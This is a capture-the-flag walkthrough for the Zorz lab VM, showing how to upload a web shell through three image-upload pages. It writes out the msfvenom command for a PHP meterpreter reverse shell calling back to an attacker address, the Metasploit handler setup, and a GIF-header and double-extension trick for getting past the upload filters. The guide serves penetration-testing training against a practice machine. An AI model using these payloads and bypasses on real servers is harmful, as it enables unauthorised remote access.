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Hack the Zorz VM (CTF Challenge)

Written By Akademy on Friday, April 7, 2017 | April 07, 2017

Zorz is another VM that will challenge your webapp skills. There are 3 separate challenges (web pages) on this machine. It should be pretty straight forward.  This machine will probably test your web app skills once again. There are 3 different pages that should be focused on(you will see). Your goal is to successfully upload a web-shell or malicious file to the server.
You can download this machine from here.
This machine (zorz) does not runs on vmware. So, in case you are using your Kali Linux in vmware(for attacking), you will probably need to run Zorz on a different system in Virtual Box and of course in the same network.
Target: Zorz
Attacker: Kali Linux
Let’s start with our all time favourite netdiscover to get the victim machine’s IP.
netdiscover

So, our target is located on 192.168.1.8. Let’s quickly do a nmap scan to get an idea of open ports.
nmap -p- -A 192.168.1.8

Ok, so we have port 22 and port 80 open. Let’s visit the IP on our browser.

So, we have an upload option available right in front of us. Let us quickly generate a php shell for reverse connection using msfvenom.
msfvenom -p php/meterpreter/reverse_tcplhost=192.168.1.28 lport=4444 -f raw

Next, we copy the generated script “<?php /*/……………………….die();” and paste it in a leafpad and save it as “shell.php”. Next we try to upload this file and voila, our shell gets uploaded successfully

But we have no idea as to where our file gets uploaded on the server. In order to get the location/directory of our shell, we run dirbuster using the dictionary /usr/share/dirb/wordlists/big.txt

And we get to know of a directory named “uploads2”. Upon visiting this directory, we do not find our shell.php file there. Thus we try to manipulate the directory name and visit the directory ”uploads1”.
192.168.1.8/uploads1/

And yes. Our shell.php file is here. Before opening the file, let’s set our listener using metasploit.
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.1.28
set lport 4444
exploit
And then we return to our browser and click the shell.php file to open it.

Success. We have successfully exploited the level 1 security and we have a meterpreter session running right before us.
Now let’s go for the second level (Zorz Image Uploader 2) and try uploading the same file there.

We get an error this time as expected.

Time for some more tricks. Let us open the shell.php file in a text editor and just before our script, add the string “GIF98”.

We now rename the file as “shell.php.jpg” and try to upload it once again.

Upload successful

This time the location of our file is “uploads2”. Let’s open it.
192.168.1.8/uploads2/

We send our previous meterpreter session to background and run the exploit once again.
background
run
And thereafter we click on our “shell.php.jpg” file in the uploads2 directory to open it.

Success again. We get our meterpreter session once again.
Now for our final task, we open the third level (Zorz Image Uploader 3) in order to upload our shell once again.

And without any edits to our “shell.php.jpg” file, we try uploading it here.

The file uploads successfully once again. And this time the directory it has been uploaded to is uploads3.
Let’s visit it.
192.168.1.8/uploads3/

We send our meterpreter session for level 2 to background once again and run the exploit yet again to exploit the third level.
background
run

Mission accomplished. We have successfully bypassed all the three levels of security on this machine.

Researcher and Author: Jitesh Khanna is a passionate Researcher and Technical Writer at Hacking Articles. He is a hacking enthusias
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